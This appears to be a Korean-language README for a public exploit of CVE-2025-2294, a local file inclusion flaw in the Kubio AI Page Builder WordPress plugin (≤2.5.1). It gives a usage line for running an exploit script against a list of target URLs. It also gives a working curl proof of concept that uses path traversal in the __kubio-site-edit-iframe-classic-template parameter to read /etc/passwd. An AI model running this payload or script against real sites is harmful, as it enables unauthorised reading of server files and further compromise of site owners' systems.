CVE-2025-2294

🚨 CVE-2025-2294 - Kubio AI Page Builder for WordPress의 로컬 파일 포함(LFI) 취약점 🧱

🔍 개요

CVE-2025-2294는 WordPress용 Kubio AI Page Builder 플러그인(버전 2.5.1 이하)에 영향을 미치는 중요한 🔥 로컬 파일 포함(LFI) 취약점입니다. 이 결함으로 인해 인증되지 않은 원격 공격자 👾가 __kubio-site-edit-iframe-classic-template URL 매개변수를 통해 서버의 임의 파일을 포함할 수 있습니다.

이 취약점을 악용하면 민감한 파일 노출 📂, 원격 코드 실행 💥, 전체 시스템 손상 💀으로 이어질 수 있습니다.

👤 저자

Muhammad Nizar — 보안 연구원 🔐
GitHub: 0xWhoami35
YouTube: InfoSec Insight ▶️

질문이나 협업을 위해 언제든지 연락주세요! 🤝

📋 영향을 받는 버전

• Kubio AI Page Builder 플러그인 ≤ 2.5.1 🛠️

🧰 사용법

대상 URL 목록으로 익스플로잇 스크립트를 실행하세요:

python3 lfi.py -l list.txt

⚠️ 취약점 세부 정보

• 유형: 로컬 파일 포함(LFI) 🕳️
• 심각도: 중요(CVSS 9.8) 🔥
• 공격 벡터: 원격, 인증되지 않음 🌐
• 영향: 기밀성, 무결성, 가용성 🔐

🧪 개념 증명(PoC)

curl "https://target-website.com/?__kubio-site-edit-iframe-preview=true&__kubio-site-edit-iframe-classic-template=../../../../../../../etc/passwd"